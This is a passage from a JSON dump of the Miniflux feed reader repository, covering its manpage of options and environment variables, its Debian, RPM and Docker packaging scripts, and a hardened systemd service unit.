    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage main // import \"miniflux.app/v2\"\n\nimport (\n\t\"miniflux.app/v2/internal/cli\"\n)\n\nfunc main() {\n\tcli.Parse()\n}\n"
  },
  {
    "path": "miniflux.1",
    "content": ".\\\" Manpage for miniflux.\n.TH \"MINIFLUX\" \"1\" \"March 1, 2026\" \"\\ \\&\" \"\\ \\&\"\n\n.SH NAME\nminiflux \\- Minimalist and opinionated feed reader\n\n.SH SYNOPSIS\n\\fBminiflux\\fR [\\fBoptions\\fR]\n\n.SH DESCRIPTION\n\\fBminiflux\\fR is a minimalist and opinionated feed reader.\n\n.SH OPTIONS\n.PP\n.B \\-h, \\-help\n.RS 4\nShow usage information and exit\\&.\n.RE\n.PP\n.B \\-config-dump\n.RS 4\nPrint parsed configuration values. This will include sensitive information like passwords\\&.\n.RE\n.PP\n.B \\-c /path/to/miniflux.conf\n.RS 4\nLoad configuration file\\&.\n.RE\n.PP\n.B \\-config-file /path/to/miniflux.conf\n.RS 4\nLoad configuration file\\&.\n.RE\n.PP\n.B \\-create-admin\n.RS 4\nCreate an admin user from an interactive terminal\\&.\n.RE\n.PP\n.B \\-debug\n.RS 4\nSet log level to debug\\&.\n.RE\n.PP\n.B \\-export-user-feeds <username>\n.RS 4\nExport user feeds (provide the username as argument)\\&.\n.br\nExample:\n.EX\nminiflux -export-user-feeds someone > feeds.xml\n.EE\n.RE\n.PP\n.B \\-flush-sessions\n.RS 4\nFlush all sessions (disconnect users)\\&.\n.RE\n.PP\n.B \\-healthcheck <endpoint>\n.RS 4\nPerform a health check on the given endpoint\\&.\n.br\nThe value \"auto\" tries to guess the health check endpoint\\&.\n.RE\n.PP\n.B \\-i\n.RS 4\nShow build information\\&.\n.RE\n.PP\n.B \\-info\n.RS 4\nShow build information\\&.\n.RE\n.PP\n.B \\-migrate\n.RS 4\nRun SQL migrations\\&.\n.RE\n.PP\n.B \\-refresh-feeds\n.RS 4\nRefresh a batch of feeds and exit\\&.\n.RE\n.PP\n.B \\-reset-feed-errors\n.RS 4\nClear all feed errors for all users\\&.\n.RE\n.PP\n.B \\-reset-feed-next-check-at\n.RS 4\nReset the next check time for all feeds\\&.\n.RE\n.PP\n.B \\-reset-password\n.RS 4\nReset user password\\&.\n.RE\n.PP\n.B \\-run-cleanup-tasks\n.RS 4\nRun cleanup tasks (delete old sessions and archive old entries)\\&.\n.RE\n.PP\n.B \\-v\n.RS 4\nShow application version\\&.\n.RE\n.PP\n.B \\-version\n.RS 4\nShow application version\\&.\n.RE\n\n.SH CONFIGURATION FILE\nThe configuration file is a text file that follows these rules:\n.LP\n- Miniflux expects each line to be in KEY=VALUE format.\n.br\n- Lines beginning with # are processed as comments and ignored.\n.br\n- Blank lines are ignored.\n.br\n- There is no variable interpolation.\n.PP\nKeys are the same as the environment variables described below\\&.\n.br\nEnvironment variables override the values defined in the config file\\&.\n\n.SH ENVIRONMENT\n.PP\nBoolean options accept the following values (case-insensitive): 1/0, yes/no, true/false, on/off\\&.\n.br\nFor variables ending in \\fB_FILE\\fR, the value is a path to a file that contains the corresponding secret value\\&.\n.TP\n.B ADMIN_PASSWORD\nAdmin user password, used only if \\fBCREATE_ADMIN\\fR is enabled\\&.\n.br\nDefault is empty\\&.\n.TP\n.B ADMIN_PASSWORD_FILE\nPath to a secret key exposed as a file, it should contain the \\fBADMIN_PASSWORD\\fR value\\&.\n.br\nDefault is empty\\&.\n.TP\n.B ADMIN_USERNAME\nAdmin user login, used only if \\fBCREATE_ADMIN\\fR is enabled\\&.\n.br\nDefault is empty\\&.\n.TP\n.B ADMIN_USERNAME_FILE\nPath to a secret key exposed as a file, it should contain the \\fBADMIN_USERNAME\\fR value\\&.\n.br\nDefault is empty\\&.\n.TP\n.B AUTH_PROXY_HEADER\nProxy authentication HTTP header\\&.\n.br\nThe option \\fBTRUSTED_REVERSE_PROXY_NETWORKS\\fR must be configured to allow the proxy to authenticate users\\&.\n.br\nDefault is empty.\n.TP\n.B AUTH_PROXY_USER_CREATION\nSet to 1 to create users based on proxy authentication information\\&.\n.br\nDisabled by default\\&.\n.TP\n.B BASE_URL\nBase URL to generate HTML links and base path for cookies\\&.\n.br\nDefault is http://localhost\\&.\n.TP\n.B BATCH_SIZE\nNumber of feeds to send to the queue for each interval\\&.\n.br\nDefault is 100 feeds\\&.\n.TP\n.B CERT_DOMAIN\nUse Let's Encrypt to get automatically a certificate for this domain\\&.\n.br\nDefault is empty\\&.\n.TP\n.B CERT_FILE\nPath to SSL certificate\\&.\n.br\nDefault is empty\\&.\n.TP\n.B CLEANUP_ARCHIVE_BATCH_SIZE\nNumber of entries to archive for each job interval\\&.\n.br\nDefault is 10000 entries\\&.\n.TP\n.B CLEANUP_ARCHIVE_READ_DAYS\nNumber of days after marking read entries as removed\\&.\n.br\nSet to -1 to keep all read entries.\n.br\nDefault is 60 days\\&.\n.TP\n.B CLEANUP_ARCHIVE_UNREAD_DAYS\nNumber of days after marking unread entries as removed\\&.\n.br\nSet to -1 to keep all unread entries.\n.br\nDefault is 180 days\\&.\n.TP\n.B CLEANUP_FREQUENCY_HOURS\nCleanup job frequency. Remove old sessions and archive entries\\&.\n.br\nDefault is 24 hours\\&.\n.TP\n.B CLEANUP_REMOVE_SESSIONS_DAYS\nNumber of days after removing old sessions from the database\\&.\n.br\nDefault is 30 days\\&.\n.TP\n.B CREATE_ADMIN\nSet to 1 to create an admin user from environment variables\\&.\n.br\nDisabled by default\\&.\n.TP\n.B DATABASE_CONNECTION_LIFETIME\nSet the maximum amount of time a connection may be reused\\&.\n.br\nDefault is 5 minutes\\&.\n.TP\n.B DATABASE_MAX_CONNS\nMaximum number of database connections\\&.\n.br\nDefault is 20\\&.\n.TP\n.B DATABASE_MIN_CONNS\nMinimum number of database connections\\&.\n.br\nDefault is 1\\&.\n.TP\n.B DATABASE_URL\nPostgreSQL connection parameters\\&.\n.br\nDefault is \"user=postgres password=postgres dbname=miniflux2 sslmode=disable\"\\&.\n.TP\n.B DATABASE_URL_FILE\nPath to a secret key exposed as a file, it should contain the \\fBDATABASE_URL\\fR value\\&.\n.br\nDefault is empty\\&.\n.TP\n.B DISABLE_API\nDisable miniflux's API\\&.\n.br\nDefault is false (The API is enabled)\\&.\n.TP\n.B DISABLE_HSTS\nDisable HTTP Strict Transport Security header if \\fBHTTPS\\fR is set\\&.\n.br\nDefault is false (The HSTS is enabled)\\&.\n.TP\n.B DISABLE_HTTP_SERVICE\nSet the value to 1 to disable the HTTP service\\&.\n.br\nDefault is false (The HTTP service is enabled)\\&.\n.TP\n.B DISABLE_LOCAL_AUTH\nDisable local authentication\\&.\n.br\nWhen set to true, the username/password form is hidden from the login screen, and the\noptions to change username/password or unlink OAuth2 account are hidden from the settings page.\n.br\nDefault is false\\&.\n.TP\n.B DISABLE_SCHEDULER_SERVICE\nSet the value to 1 to disable the internal scheduler service\\&.\n.br\nDefault is false (The internal scheduler service is enabled)\\&.\n.TP\n.B FETCHER_ALLOW_PRIVATE_NETWORKS\nSet to 1 to allow outgoing fetcher requests to private or loopback networks\\&.\n.br\nDisabled by default, private networks are refused\\&.\n.TP\n.B FETCH_BILIBILI_WATCH_TIME\nSet the value to 1 to scrape video duration from Bilibili website and\nuse it as a reading time\\&.\n.br\nDisabled by default\\&.\n.TP\n.B FETCH_NEBULA_WATCH_TIME\nSet the value to 1 to scrape video duration from Nebula website and\nuse it as a reading time\\&.\n.br\nDisabled by default\\&.\n.TP\n.B FETCH_ODYSEE_WATCH_TIME\nSet the value to 1 to scrape video duration from Odysee website and\nuse it as a reading time\\&.\n.br\nDisabled by default\\&.\n.TP\n.B FETCH_YOUTUBE_WATCH_TIME\nSet the value to 1 to scrape video duration from YouTube website and\nuse it as a reading time\\&.\n.br\nDisabled by default\\&.\n.TP\n.B FORCE_REFRESH_INTERVAL\nThe minimum interval for manual refresh\\&.\n.br\nDefault is 30 minutes\\&.\n.TP\n.B HTTP_CLIENT_MAX_BODY_SIZE\nMaximum body size for HTTP requests in Mebibyte (MiB)\\&.\n.br\nDefault is 15 MiB\\&.\n.TP\n.B HTTP_CLIENT_PROXIES\nEnable proxy rotation for outgoing requests by providing a comma-separated list of proxy URLs\\&.\n.br\nDefault is empty\\&.\n.TP\n.B HTTP_CLIENT_PROXY\nProxy URL to use when the \"Fetch via proxy\" feed option is enabled\\&.\n.br\nDefault is empty\\&.\n.TP\n.B HTTP_CLIENT_TIMEOUT\nTime limit in seconds before the HTTP client cancels the request\\&.\n.br\nDefault is 20 seconds\\&.\n.TP\n.B HTTP_CLIENT_USER_AGENT\nThe default User-Agent header to use for the HTTP client. Can be overridden in per-feed settings\\&.\n.br\nWhen empty, Miniflux uses a default User-Agent that includes the Miniflux version\\&.\n.br\nDefault is empty.\n.TP\n.B HTTP_SERVER_TIMEOUT\nRead, write, and idle timeout in seconds for the HTTP server\\&.\n.br\nDefault is 300 seconds\\&.\n.TP\n.B HTTPS\nForces cookies to use secure flag and send HSTS header\\&.\n.br\nDefault is disabled\\&.\n.TP\n.B INTEGRATION_ALLOW_PRIVATE_NETWORKS\nSet to 1 to allow outgoing integration requests to private or loopback networks\\&.\n.br\nDisabled by default, private networks are refused\\&.\n.TP\n.B INVIDIOUS_INSTANCE\nSet a custom invidious instance to use\\&.\n.br\nDefault is yewtu.be\\&.\n.TP\n.B KEY_FILE\nPath to SSL private key\\&.\n.br\nDefault is empty\\&.\n.TP\n.B LISTEN_ADDR\nAddress to listen on. Use absolute path to listen on Unix socket (/var/run/miniflux.sock)\\&.\n.br\nMultiple addresses can be specified, separated by commas. For example: 127.0.0.1:8080, 127.0.0.1:8081\\&.\n.br\nDefault is 127.0.0.1:8080\\&.\n.TP\n.B LOG_DATE_TIME\nDisplay the date and time in log messages\\&.\n.br\nDisabled by default\\&.\n.TP\n.B LOG_FILE\nSupported values are \"stderr\", \"stdout\", or a file name\\&.\n.br\nDefault is \"stderr\"\\&.\n.TP\n.B LOG_FORMAT\nSupported log formats are \"text\" or \"json\"\\&.\n.br\nDefault is \"text\"\\&.\n.TP\n.B LOG_LEVEL\nSupported values are \"debug\", \"info\", \"warning\", or \"error\"\\&.\n.br\nDefault is \"info\"\\&.\n.TP\n.B MAINTENANCE_MESSAGE\nDefine a custom maintenance message\\&.\n.br\nDefault is \"Miniflux is currently under maintenance\"\\&.\n.TP\n.B MAINTENANCE_MODE\nSet to 1 to enable maintenance mode\\&.\n.br\nDisabled by default\\&.\n.TP\n.B MEDIA_PROXY_CUSTOM_URL\nSets an external server to proxy media through\\&.\n.br\nDefault is empty, Miniflux does the proxying\\&.\n.TP\n.B MEDIA_PROXY_HTTP_CLIENT_TIMEOUT\nTime limit in seconds before the media proxy HTTP client cancels the request\\&.\n.br\nDefault is 120 seconds\\&.\n.TP\n.B MEDIA_PROXY_RESOURCE_TYPES\nA comma-separated list of media types to proxify. Supported values are: image, audio, video\\&.\n.br\nDefault is image\\&.\n.TP\n.B MEDIA_PROXY_MODE\nPossible values: http-only, all, or none\\&.\n.br\nDefault is http-only\\&.\n.TP\n.B MEDIA_PROXY_PRIVATE_KEY\nSet a custom private key used to sign proxified media URLs\\&.\n.br\nBy default, a secret key is randomly generated during startup\\&.\n.TP\n.B METRICS_ALLOWED_NETWORKS\nList of networks allowed to access the metrics endpoint (comma-separated values)\\&.\n.br\nDefault is 127.0.0.1/8\\&.\n.TP\n.B METRICS_COLLECTOR\nSet to 1 to enable metrics collector. Expose a /metrics endpoint for Prometheus.\n.br\nDisabled by default\\&.\n.TP\n.B METRICS_PASSWORD\nMetrics endpoint password for basic HTTP authentication\\&.\n.br\nDefault is empty\\&.\n.TP\n.B METRICS_PASSWORD_FILE\nPath to a file that contains the password for the metrics endpoint HTTP authentication\\&.\n.br\nDefault is empty\\&.\n.TP\n.B METRICS_REFRESH_INTERVAL\nRefresh interval to collect database metrics\\&.\n.br\nDefault is 60 seconds\\&.\n.TP\n.B METRICS_USERNAME\nMetrics endpoint username for basic HTTP authentication\\&.\n.br\nDefault is empty\\&.\n.TP\n.B METRICS_USERNAME_FILE\nPath to a file that contains the username for the metrics endpoint HTTP authentication\\&.\n.br\nDefault is empty\\&.\n.TP\n.B OAUTH2_CLIENT_ID\nOAuth2 client ID\\&.\n.br\nDefault is empty\\&.\n.TP\n.B OAUTH2_CLIENT_ID_FILE\nPath to a secret key exposed as a file, it should contain the \\fBOAUTH2_CLIENT_ID\\fR value\\&.\n.br\nDefault is empty\\&.\n.TP\n.B OAUTH2_CLIENT_SECRET\nOAuth2 client secret\\&.\n.br\nDefault is empty\\&.\n.TP\n.B OAUTH2_CLIENT_SECRET_FILE\nPath to a secret key exposed as a file, it should contain the \\fBOAUTH2_CLIENT_SECRET\\fR value\\&.\n.br\nDefault is empty\\&.\n.TP\n.B OAUTH2_OIDC_DISCOVERY_ENDPOINT\nOpenID Connect discovery endpoint\\&.\n.br\nDefault is empty\\&.\n.TP\n.B OAUTH2_OIDC_PROVIDER_NAME\nName to display for the OIDC provider\\&.\n.br\nDefault is \"OpenID Connect\"\\&.\n.TP\n.B OAUTH2_PROVIDER\nPossible values are \"google\" or \"oidc\"\\&.\n.br\nDefault is empty\\&.\n.TP\n.B OAUTH2_REDIRECT_URL\nOAuth2 redirect URL\\&.\n.br\nThis URL must be registered with the provider and is something like https://miniflux.example.org/oauth2/oidc/callback\\&.\n.br\nDefault is empty\\&.\n.TP\n.B OAUTH2_USER_CREATION\nSet to 1 to authorize OAuth2 user creation\\&.\n.br\nDisabled by default\\&.\n.TP\n.B POLLING_FREQUENCY\nInterval for the background job scheduler.\n.br\nDetermines how often a batch of feeds is selected for refresh, based on their last refresh time\\&.\n.br\nDefault is 60 minutes\\&.\n.TP\n.B POLLING_LIMIT_PER_HOST\nLimits the number of concurrent requests to the same hostname when polling feeds.\n.br\nThis helps prevent overwhelming a single server during batch processing by the worker pool.\n.br\nDefault is 0 (disabled)\\&.\n.TP\n.B POLLING_PARSING_ERROR_LIMIT\nThe maximum number of parsing errors that the program will try before stopping polling a feed.\n.br\nOnce the limit is reached, the user must refresh the feed manually. Set to 0 for unlimited.\n.br\nDefault is 3\\&.\n.TP\n.B POLLING_SCHEDULER\nDetermines the strategy used to schedule feed polling.\n.br\nSupported values are \"round_robin\" and \"entry_frequency\".\n.br\n- \"round_robin\": Feeds are polled in a fixed, rotating order.\n.br\n- \"entry_frequency\": The polling interval for each feed is based on the average update frequency over the past week.\n.br\nThe number of feeds polled in a given period is limited by the POLLING_FREQUENCY and BATCH_SIZE settings.\n.br\nRegardless of the scheduler used, the total number of polled feeds will not exceed the maximum allowed per polling cycle.\n.br\nDefault is \"round_robin\"\\&.\n.TP\n.B PORT\nOverride \\fBLISTEN_ADDR\\fR to \\fB0.0.0.0:$PORT\\fR\\&.\n.br\nDefault is empty\\&.\n.TP\n.B RUN_MIGRATIONS\nSet to 1 to run database migrations\\&.\n.br\nDisabled by default\\&.\n.TP\n.B SCHEDULER_ENTRY_FREQUENCY_FACTOR\nFactor to increase refresh frequency for the entry frequency scheduler\\&.\n.br\nDefault is 1\\&.\n.TP\n.B SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL\nMaximum interval in minutes for the entry frequency scheduler\\&.\n.br\nDefault is 1440 minutes (24 hours)\\&.\n.TP\n.B SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL\nMinimum interval in minutes for the entry frequency scheduler\\&.\n.br\nDefault is 5 minutes\\&.\n.TP\n.B SCHEDULER_ROUND_ROBIN_MAX_INTERVAL\nMaximum interval in minutes for the round robin scheduler\\&.\n.br\nDefault is 1440 minutes (24 hours)\\&.\n.TP\n.B SCHEDULER_ROUND_ROBIN_MIN_INTERVAL\nMinimum interval in minutes for the round robin scheduler\\&.\n.br\nDefault is 60 minutes\\&.\n.TP\n.B TRUSTED_REVERSE_PROXY_NETWORKS\nList of networks (CIDR notation) allowed to use the proxy authentication header, \\fBX-Forwarded-For\\fR, \\fBX-Forwarded-Proto\\fR, and \\fBX-Real-Ip\\fR headers\\&.\n.br\nDefault is empty\\&.\n.TP\n.B WATCHDOG\nEnable or disable Systemd watchdog\\&.\n.br\nEnabled by default\\&.\n.TP\n.B WEBAUTHN\nEnable or disable WebAuthn/Passkey authentication\\&.\n.br\nYou must provide a username on the login page if you are using non-residential keys. However, this is not required for discoverable credentials\\&.\n.br\nDefault is disabled\\&.\n.TP\n.B WORKER_POOL_SIZE\nNumber of background workers\\&.\n.br\nDefault is 16 workers\\&.\n.TP\n.B YOUTUBE_API_KEY\nYouTube API key for use with FETCH_YOUTUBE_WATCH_TIME. If nonempty, the duration will be fetched from the YouTube API. Otherwise, the duration will be fetched from the YouTube website\\&.\n.br\nDefault is empty\\&.\n.TP\n.B YOUTUBE_EMBED_URL_OVERRIDE\nYouTube URL which will be used for embeds\\&.\n.br\nDefault is https://www.youtube-nocookie.com/embed/\\&.\n.SH AUTHORS\n.P\nMiniflux is developed and maintained by Fr\\['e]d\\['e]ric Guillot with contributions from the Miniflux community\\&.\n\n.SH \"COPYRIGHT\"\n.P\nMiniflux is released under the Apache 2.0 license\\&.\n"
  },
  {
    "path": "packaging/debian/Dockerfile",
    "content": "FROM docker.io/golang:1-trixie AS build\n\nENV DEBIAN_FRONTEND=noninteractive\n\nRUN apt-get update -q && \\\n    apt-get install -y -qq build-essential devscripts dh-make debhelper && \\\n    mkdir -p /build/debian\n\nADD . /src\n\nCMD [\"/src/packaging/debian/build.sh\"]\n"
  },
  {
    "path": "packaging/debian/build.sh",
    "content": "#!/bin/sh\n\nPKG_ARCH=$(dpkg --print-architecture)\nPKG_DATE=$(date -R)\nPKG_VERSION=$(cd /src && git describe --tags --abbrev=0 | sed 's/^v//')\n\necho \"PKG_VERSION=$PKG_VERSION\"\necho \"PKG_ARCH=$PKG_ARCH\"\necho \"PKG_DATE=$PKG_DATE\"\n\ncd /src\n\nif [ \"$PKG_ARCH\" = \"armhf\" ]; then\n    make miniflux-no-pie\nelse\n    CGO_ENABLED=0 make miniflux\nfi\n\nmkdir -p /build/debian && \\\ncd /build && \\\ncp /src/miniflux /build/ && \\\ncp /src/miniflux.1 /build/ && \\\ncp /src/LICENSE /build/ && \\\ncp /src/packaging/miniflux.conf /build/ && \\\ncp /src/packaging/systemd/miniflux.service /build/debian/ && \\\ncp /src/packaging/debian/compat /build/debian/compat && \\\ncp /src/packaging/debian/copyright /build/debian/copyright && \\\ncp /src/packaging/debian/miniflux.manpages /build/debian/miniflux.manpages && \\\ncp /src/packaging/debian/miniflux.postinst /build/debian/miniflux.postinst && \\\ncp /src/packaging/debian/rules /build/debian/rules && \\\ncp /src/packaging/debian/miniflux.dirs /build/debian/miniflux.dirs && \\\necho \"miniflux ($PKG_VERSION) experimental; urgency=low\" > /build/debian/changelog && \\\necho \"  * Miniflux version $PKG_VERSION\" >> /build/debian/changelog && \\\necho \" -- Frédéric Guillot <f@miniflux.net>  $PKG_DATE\" >> /build/debian/changelog && \\\nsed \"s/__PKG_ARCH__/${PKG_ARCH}/g\" /src/packaging/debian/control > /build/debian/control && \\\ndpkg-buildpackage -us -uc -b && \\\nlintian --check --color always ../*.deb && \\\ncp ../*.deb /pkg/\n"
  },
  {
    "path": "packaging/debian/compat",
    "content": "10\n"
  },
  {
    "path": "packaging/debian/control",
    "content": "Source: miniflux\nMaintainer: Frederic Guillot <f@miniflux.net>\nBuild-Depends: debhelper (>= 9.20160709) | dh-systemd\n\nPackage: miniflux\nArchitecture: __PKG_ARCH__\nSection: web\nPriority: optional\nDescription: Minimalist Feed Reader\n Miniflux is a minimalist and opinionated feed reader\nHomepage: https://miniflux.app\nDepends: ${misc:Depends}, ${shlibs:Depends}, adduser\n"
  },
  {
    "path": "packaging/debian/copyright",
    "content": "Files: *\nCopyright: 2017-2023 Frederic Guillot\nLicense: Apache"
  },
  {
    "path": "packaging/debian/miniflux.dirs",
    "content": "etc\nusr/bin\n"
  },
  {
    "path": "packaging/debian/miniflux.manpages",
    "content": "miniflux.1"
  },
  {
    "path": "packaging/debian/miniflux.postinst",
    "content": "#!/bin/sh\n\nset -e\n\ncase \"$1\" in\n    configure)\n        adduser --system --disabled-password --disabled-login --home /var/empty \\\n                --no-create-home --quiet --force-badname --group miniflux\n        ;;\nesac\n\n#DEBHELPER#\n\nexit 0\n"
  },
  {
    "path": "packaging/debian/rules",
    "content": "#!/usr/bin/make -f\n\nDESTDIR=debian/miniflux\n\n%:\n\tdh $@ --with=systemd\n\noverride_dh_auto_clean:\noverride_dh_auto_test:\noverride_dh_auto_build:\noverride_dh_auto_install:\n\tcp miniflux.conf $(DESTDIR)/etc/miniflux.conf\n\tcp miniflux $(DESTDIR)/usr/bin/miniflux\n\noverride_dh_installinit:\n\tdh_installinit --noscripts\n"
  },
  {
    "path": "packaging/docker/alpine/Dockerfile",
    "content": "FROM docker.io/library/golang:alpine3.23 AS build\nRUN apk add --no-cache build-base git make\nADD . /go/src/app\nWORKDIR /go/src/app\nRUN make miniflux\n\nFROM docker.io/library/alpine:3.23\n\nLABEL org.opencontainers.image.title=Miniflux\nLABEL org.opencontainers.image.description=\"Miniflux is a minimalist and opinionated feed reader\"\nLABEL org.opencontainers.image.vendor=\"Frédéric Guillot\"\nLABEL org.opencontainers.image.licenses=Apache-2.0\nLABEL org.opencontainers.image.url=https://miniflux.app\nLABEL org.opencontainers.image.source=https://github.com/miniflux/v2\nLABEL org.opencontainers.image.documentation=https://miniflux.app/docs/\n\nEXPOSE 8080\nENV LISTEN_ADDR=0.0.0.0:8080\nRUN apk --no-cache add ca-certificates tzdata\nCOPY --from=build /go/src/app/miniflux /usr/bin/miniflux\nUSER 65534\nCMD [\"/usr/bin/miniflux\"]\n"
  },
  {
    "path": "packaging/docker/distroless/Dockerfile",
    "content": "FROM docker.io/library/golang:trixie AS build\nADD . /go/src/app\nWORKDIR /go/src/app\nRUN make miniflux\n\nFROM gcr.io/distroless/base-debian13:nonroot\n\nLABEL org.opencontainers.image.title=Miniflux\nLABEL org.opencontainers.image.description=\"Miniflux is a minimalist and opinionated feed reader\"\nLABEL org.opencontainers.image.vendor=\"Frédéric Guillot\"\nLABEL org.opencontainers.image.licenses=Apache-2.0\nLABEL org.opencontainers.image.url=https://miniflux.app\nLABEL org.opencontainers.image.source=https://github.com/miniflux/v2\nLABEL org.opencontainers.image.documentation=https://miniflux.app/docs/\n\nEXPOSE 8080\nENV LISTEN_ADDR=0.0.0.0:8080\nCOPY --from=build /go/src/app/miniflux /usr/bin/miniflux\nCMD [\"/usr/bin/miniflux\"]\n"
  },
  {
    "path": "packaging/miniflux.conf",
    "content": "# See https://miniflux.app/docs/configuration.html\n\nRUN_MIGRATIONS=1\n"
  },
  {
    "path": "packaging/rpm/Dockerfile",
    "content": "FROM golang:1 AS build\nENV CGO_ENABLED=0\nADD . /go/src/app\nWORKDIR /go/src/app\nRUN make miniflux\n\nFROM rockylinux:9\nRUN dnf install --setopt=install_weak_deps=False -y rpm-build systemd-rpm-macros\nRUN mkdir -p /root/rpmbuild/{BUILD,RPMS,SOURCES,SPECS,SRPMS}\nRUN echo \"%_topdir /root/rpmbuild\" >> .rpmmacros\nCOPY --from=build /go/src/app/miniflux /root/rpmbuild/SOURCES/miniflux\nCOPY --from=build /go/src/app/LICENSE /root/rpmbuild/SOURCES/\nCOPY --from=build /go/src/app/miniflux.1 /root/rpmbuild/SOURCES/\nCOPY --from=build /go/src/app/packaging/systemd/miniflux.service /root/rpmbuild/SOURCES/\nCOPY --from=build /go/src/app/packaging/miniflux.conf /root/rpmbuild/SOURCES/\nCOPY --from=build /go/src/app/packaging/rpm/miniflux.spec /root/rpmbuild/SPECS/miniflux.spec\n"
  },
  {
    "path": "packaging/rpm/miniflux.spec",
    "content": "%undefine _disable_source_fetch\n\nName:    miniflux\nVersion: %{_miniflux_version}\nRelease: 1.0\nSummary: Minimalist and opinionated feed reader\nURL: https://miniflux.app/\nLicense: ASL 2.0\nSource0: miniflux\nSource1: miniflux.service\nSource2: miniflux.conf\nSource3: miniflux.1\nSource4: LICENSE\nBuildRoot: %{_topdir}/BUILD/%{name}-%{version}-%{release}\nBuildArch: x86_64\nRequires(pre): shadow-utils\n\n%{?systemd_ordering}\n\nAutoReqProv: no\n\n%define __strip /bin/true\n%define __os_install_post %{nil}\n\n%description\n%{summary}\n\n%install\nmkdir -p %{buildroot}%{_bindir}\ninstall -p -m 755 %{SOURCE0} %{buildroot}%{_bindir}/miniflux\ninstall -D -m 644 %{SOURCE1} %{buildroot}%{_unitdir}/miniflux.service\ninstall -D -m 600 %{SOURCE2} %{buildroot}%{_sysconfdir}/miniflux.conf\ninstall -D -m 644 %{SOURCE3} %{buildroot}%{_mandir}/man1/miniflux.1\ninstall -D -m 644 %{SOURCE4} %{buildroot}%{_docdir}/miniflux/LICENSE\n\n%files\n%defattr(755,root,root)\n%{_bindir}/miniflux\n%{_docdir}/miniflux\n%defattr(644,root,root)\n%{_unitdir}/miniflux.service\n%{_mandir}/man1/miniflux.1*\n%{_docdir}/miniflux/*\n%defattr(600,root,root)\n%config(noreplace) %{_sysconfdir}/miniflux.conf\n\n%pre\ngetent group miniflux >/dev/null || groupadd -r miniflux\ngetent passwd miniflux >/dev/null || \\\n    useradd -r -g miniflux -d /dev/null -s /sbin/nologin \\\n    -c \"Miniflux Daemon\" miniflux\nexit 0\n\n%post\n%systemd_post miniflux.service\n\n%preun\n%systemd_preun miniflux.service\n\n%postun\n%systemd_postun_with_restart miniflux.service\n"
  },
  {
    "path": "packaging/systemd/miniflux.service",
    "content": "# Changing the systemd config can be done like this:\n# 1) Edit the config file: systemctl edit --full miniflux\n# 2) Restart the process: systemctl restart miniflux\n# All your changes can be reverted with `systemctl revert miniflux.service`.\n# See https://wiki.archlinux.org/index.php/Systemd#Editing_provided_units.\n# Also see https://www.freedesktop.org/software/systemd/man/systemd.service.html\n# for available configuration options in this file.\n\n[Unit]\nDescription=Miniflux\nDocumentation=man:miniflux(1) https://miniflux.app/docs/index.html\nAfter=network.target postgresql.service\n\n[Service]\nExecStart=/usr/bin/miniflux\nUser=miniflux\n\n# Load environment variables from /etc/miniflux.conf.\nEnvironmentFile=/etc/miniflux.conf\n\n# Miniflux uses sd-notify protocol to notify about it's readiness.\nType=notify\n\n# Enable watchdog.\nWatchdogSec=60s\nWatchdogSignal=SIGKILL\n\n# Automatically restart Miniflux if it crashes.\nRestart=always\nRestartSec=5\n\n# Allocate a directory at /run/miniflux for Unix sockets.\nRuntimeDirectory=miniflux\n\n# Allow Miniflux to bind to privileged ports.\nAmbientCapabilities=CAP_NET_BIND_SERVICE\n\n# Make the system tree read-only.\nProtectSystem=strict\n\n# Allocate a separate /tmp.\nPrivateTmp=yes\n\n# Ensure the service can never gain new privileges.\nNoNewPrivileges=yes\n\n# Prohibit access to any kind of namespacing.\nRestrictNamespaces=yes\n\n# Make home directories inaccessible.\nProtectHome=yes\n\n# Make device nodes except for /dev/null, /dev/zero, /dev/full,\n# /dev/random and /dev/urandom inaccessible.\nPrivateDevices=yes\n\n# Make cgroup file system hierarchy inaccessible.\nProtectControlGroups=yes\n\n# Deny kernel module loading.\nProtectKernelModules=yes\n\n# Make kernel variables (e.g. /proc/sys) read-only.\nProtectKernelTunables=yes\n\n# Deny hostname changing.\nProtectHostname=yes\n\n# Deny realtime scheduling.\nRestrictRealtime=yes\n\n# Deny access to the kernel log ring buffer.\nProtectKernelLogs=yes\n\n# Deny setting the hardware or system clock.\nProtectClock=yes\n\n# Filter dangerous system calls. The following is listed as safe basic\n# choice in systemd.exec(5).\nSystemCallArchitectures=native\n\n# Deny kernel execution domain changing.\nLockPersonality=yes\n\n# Deny memory mappings that are writable and executable.\nMemoryDenyWriteExecute=yes\n\n[Install]\nWantedBy=multi-user.target\n"
  }
]